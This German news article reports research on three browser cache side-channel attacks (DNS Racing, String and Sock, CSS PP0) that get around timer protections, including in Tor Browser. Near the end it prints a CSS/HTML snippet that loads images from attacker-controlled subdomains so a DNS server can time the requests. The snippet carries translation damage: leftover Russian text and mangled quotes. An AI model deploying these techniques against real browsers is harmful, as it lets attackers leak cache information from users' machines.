Eine Gruppe von Forschern aus mehreren amerikanischen, israelischen und australischen Universitäten hat drei Angriffe entwickelt, die in Webbrowsern funktionieren, um Informationen über den Inhalt des ProzessorkCaches zu extrahieren. Eine Methode funktioniert in Browsern ohne JavaScript, während die beiden anderen bestehende Schutzmethoden gegen Seitenkanalangriffe, die auch in Tor Browser und DeterFox angewendet werden, umgehen. Der Code zur Demonstration der Angriffe sowie die benötigten Serverkomponenten wurden auf GitHub veröffentlicht.
Für die Analyse des Cacheinhalts wird in allen Angriffen die Methode Prime+Probe verwendet, bei der der Cache mit einer Referenzmenge von Werten gefüllt wird und die Änderungen durch die Messung der Zugriffszeit bei einer erneuten Füllung bestimmt werden. Um die in Browsern vorhandenen Schutzmechanismen zu umgehen, die eine genaue Zeitmessung behindern, erfolgen in zwei Varianten Zugriffe auf einen vom Angreifer kontrollierten DNS- oder WebSocket-Server, auf dem die Ankunftszeiten der Anfragen protokolliert werden. In einer Variante wird die feste DNS-Antwortzeit als Referenzzeit verwendet.
Die Messungen, die unter Einbeziehung externer DNS- oder WebSocket-Server durchgeführt wurden, ermöglichten es dank eines maschinellen Lernklassifikationssystems, die Werte mit einer Genauigkeit von bis zu 98 % im optimalsten Szenario vorherzusagen (im Durchschnitt 80-90 %). Die Angriffsmethoden wurden auf verschiedenen Hardwareplattformen (Intel, AMD Ryzen, Apple M1, Samsung Exynos) getestet und erwiesen sich als universell.

Im ersten Angriffsszenario "DNS Racing" wird die klassische Implementierung der Methode Prime+Probe verwendet, die JavaScript-Arrays nutzt. Die Unterschiede bestehen darin, dass ein externer Timer auf Basis von DNS und ein onerror-Handler zum Tragen kommt, der bei dem Versuch ausgelöst wird, ein Bild von einer nicht existierenden Domain zu laden. Der externe Timer ermöglicht es, den Angriff Prime+Probe in Browsern durchzuführen, die den Zugang zu JavaScript-Timern einschränken oder vollständig deaktivieren.
Für einen DNS-Server, der im selben Ethernet-Netzwerk gehostet wird, wird die Genauigkeit des Timers auf etwa 2 ms geschätzt, was ausreichend ist, um Angriffe über externe Kanäle durchzuführen (zum Vergleich: die Genauigkeit des Standard-JavaScript-Timers im Tor-Browser wurde auf 100 ms reduziert). Für den Angriff ist keine Kontrolle über den DNS-Server erforderlich, da die Ausführungszeit der Operation so gewählt wird, dass die Antwortzeit vom DNS einen Hinweis auf ein früheres Ende der Überprüfung gibt (je nachdem, ob der onerror-Handler früher oder später ausgelöst wird, wird auf die Geschwindigkeit der Überprüfung mit dem Cache geschlossen).
Die zweite Angriffsmethode „String and Sock“ zielt darauf ab, Schutzmethoden zu umgehen, die die Verwendung von Arrays in JavaScript auf niedrigster Ebene einschränken. Anstelle von Arrays verwendet „String and Sock“ Operationen mit sehr großen Zeichenfolgen, deren Größe so gewählt wird, dass die Variable den gesamten LLC-Cache (Last Level Cache) abdeckt. Anschließend wird mit der Funktion indexOf() in der Zeichenfolge eine kleine Teilzeichenfolge gesucht, die ursprünglich nicht in der Ausgangszeichenfolge vorhanden ist, d.h. die Suchoperation führt zu einer Durchsuchung der gesamten Zeichenfolge. Da die Größe der Zeichenfolge der Größe des LLC-Caches entspricht, ermöglicht das Scannen die Durchführung der Cache-Prüfung ohne Manipulation von Arrays. Zur Messung der Verzögerungen wird anstelle von DNS ein kontrollierter WebSocket-Server des Angreifers verwendet – vor und nach Abschluss der Suchoperation in der Zeichenfolge werden Anfragen gesendet, auf deren Grundlage die Server Verzögerung berechnet wird, die zur Analyse des Cache-Inhalts verwendet wird.
Die dritte Angriffsmethode "CSS PP0" wird über HTML und CSS realisiert und kann in Browsern arbeiten, in denen JavaScript deaktiviert ist. Die Methode ähnelt "String and Sock", ist jedoch nicht an JavaScript gebunden. Im Verlauf des Angriffs wird eine Reihe von CSS-Selektoren erstellt, die nach einem Muster suchen. Die ursprüngliche große Zeichenfolge, die den Cache füllt, wird durch die Erstellung eines div-Elements mit einem sehr langen Klassennamen festgelegt. Darin befindet sich eine Gruppe weiterer div-Elemente mit eigenen Identifikatoren. Für jedes dieser verschachtelten div-Elemente wird ein eigener Stil mit einem Selektor definiert, der nach einer Teilzeichenfolge sucht. Beim Rendern der Seite versucht der Browser zunächst, die inneren div-Elemente zu verarbeiten, was dazu führt, dass eine Suchoperation in der großen Zeichenfolge ausgeführt wird. Die Suche erfolgt nach einem absichtlich nicht vorhandenen Muster und führt dazu, dass die gesamte Zeichenfolge durchlaufen wird, woraufhin die Bedingung „not“ eintritt und versucht wird, ein Hintergrundbild zu laden, das auf zufällige Domains: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>
Subdomains werden auf dem DNS-Server des Angreifers gehostet, der die Verzögerungen beim Empfang von Anfragen messen kann. Auf alle Anfragen gibt der DNS-Server NXDOMAIN zurück und führt ein Protokoll über die genaue Zeit der Anfragen. Infolge der Verarbeitung der Reihe von div-Elementen erhält der DNS-Server des Angreifers eine Serie von Anfragen, deren Verzögerungen mit dem Ergebnis der Überprüfung des Cache-Inhalts korrelieren.

Quelle: opennet.ru
